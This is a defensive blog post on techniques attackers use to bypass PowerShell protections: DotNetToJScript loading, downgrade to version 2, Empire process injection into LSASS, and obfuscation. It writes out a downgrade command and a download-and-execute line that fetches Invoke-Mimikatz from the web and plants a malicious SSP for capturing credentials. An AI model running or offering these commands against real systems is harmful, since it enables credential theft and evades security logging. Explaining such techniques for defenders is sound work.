PowerShell is one of the most popular platforms for malicious actors. To protect your critical data and systems, it’s vital to implement strategies for blocking and detecting attacks that exploit PowerShell. However, you should not assume those security measures are airtight — adversaries are constantly looking for ways to bypass your defenses. Let’s explore three of those techniques, so you can build an even more robust strategy for defending your data and your business.
Avoiding PowerShell Altogether
Using options like Constrained Language mode and Script Block Logging are vital to protecting against attacks that abuse PowerShell. However, these measures won’t help defend against attackers who choose to avoid PowerShell altogether.
One recent way this has been done is provided on GitHub by Casey Smith (subTee). The DotNetToJScript utility is used to create a JavaScript file that can load .NET assemblies from memory:
The file itself looks like this and goes on for hundreds of lines.
A malicious actor can take this file and load it with the Windows Script Host executable, which will launch mimikatz. Below, you can see how this can be used to create a malicious SSP (Security Support Provider).
There are other exploits of Windows Scripting Host, as well as examples of JavaScript being used to target Windows systems, so it is important to have an understanding of how these attacks work.
PowerShell Downgrade Attacks
Another important strategy for thwarting attackers is to implement Constrained Language mode. Introduced in PowerShell v5, this mode restricts PowerShell to a limited set of commands and scripts. But adversaries have several options for getting around this defense.
Using a PowerShell Version that Does Not Support Constrained Language Mode
One simple way to bypass the protection of Constrained Language mode in version 5 is to specify an earlier version of PowerShell to execute when launching PowerShell from the command prompt:
PowerShell –Version 2 –Command [Your Command Here]
Here you can see this method being used to create a malicious SSP with mimikatz:
Using Process Injection
If PowerShell 2.0 is disabled, attackers have alternatives. For example, they can use the process injection capabilities built into Empire, which leverage ReflectivePick to load the necessary components to run PowerShell into any process, without actually launching PowerShell itself.
By running the psinject module as shown below, they can specify which process to inject into. This will retrieve a new Empire agent from which they can launch any PowerShell command they choose, bypassing Constrained Language mode.
Here is an example of injecting into the LSASS process running under the SYSTEM account:
How to Disable Older Versions of PowerShell
To improve security, it is advisable to disable versions of PowerShell you do not need. However, use cause, since doing this can cause compatibility issues with existing scripts. Note that PowerShell 2.0 is turned off by default in Windows 10:
Using Obfuscation to Avoid Detection
The Script Block Logging feature of PowerShell v5 provides clear-text logging of the full script executed by PowerShell, which helps security teams spot malicious code. Knowing this, adversaries may obfuscate their code in ways that can make Script Block Logging less useful for understanding exactly what’s going on within a PowerShell script.
Daniel Bohannon provides two useful tools for PowerShell obfuscation: Invoke-Obfuscation and Invoke-CradleCrafter. To see how these tools could help an adversary evade detection, let’s suppose we are attackers who want to run the following script, which will download Invoke-Mimikatz from the web and then issue a command to create a malicious SSP:
IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -Command ‘”privilege::debug ” “misc::memssp”‘
If we were able to run that command, there is a good chance it would be caught in the event log, even if it were encoded, thanks to Script Block Logging:
However, by using Invoke-Obfuscation and Invoke-CradleCrafter, we can make our script harder to read and understand — and therefore less likely to be flagged by the security team. Without going into too much detail, these modules can turn our original script into the one shown below, so it’s nearly impossible to tell what’s happening. As you can see, the result is injection of malicious SSP.
Conclusion
Security is a constant battle, with adversaries constantly looking for techniques to get around every protection that organizations put into place. Accordingly, in addition to hardening your PowerShell environment to thwart and detect attacks, be sure to stay on top of the tricks that malicious actors are using to bypass your defenses. By understanding how they are avoiding PowerShell altogether, running a downgraded version of PowerShell to avoid the protections built into version 5, and obfuscating their code, you can improve your organization’s cybersecurity and cyber resilience.
